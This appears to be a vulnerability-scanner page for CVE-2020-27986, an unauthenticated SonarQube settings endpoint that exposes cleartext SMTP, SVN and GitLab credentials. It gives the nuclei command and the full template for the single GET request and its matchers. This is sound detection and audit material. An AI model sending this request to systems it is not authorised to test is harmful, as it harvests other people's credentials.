SonarQube - Authentication Bypass

highseverity

7.5CVSS score

16%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.

Fix

Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."

How to confirm it

Send: GET {{BaseURL}}/api/settings/values
Positive when: contains "email.smtp_host.secured" and "email.smtp_password.secured" and "email.smtp_port.secured" and "email.smtp_username.secured" AND status 200

Run it with nuclei: nuclei -id CVE-2020-27986 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-27986

info:
  name: SonarQube - Authentication Bypass
  author: pikpikcu
  severity: high
  description: |
    SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP,
    SVN, and GitLab credentials via the api/settings/values URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
  remediation: Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
  reference:
    - https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27866
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/SouthWind0/southwind0.github.io
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27986
    cwe-id: CWE-306
    epss-score: 0.15966
    epss-percentile: 0.96927
    cpe: cpe:2.3:a:sonarsource:sonarqube:8.4.2.36762:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sonarsource
    product: sonarqube
  tags: cve,cve2020,sonarqube,sonarsource,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/settings/values"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - email.smtp_host.secured
          - email.smtp_password.secured
          - email.smtp_port.secured
          - email.smtp_username.secured
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from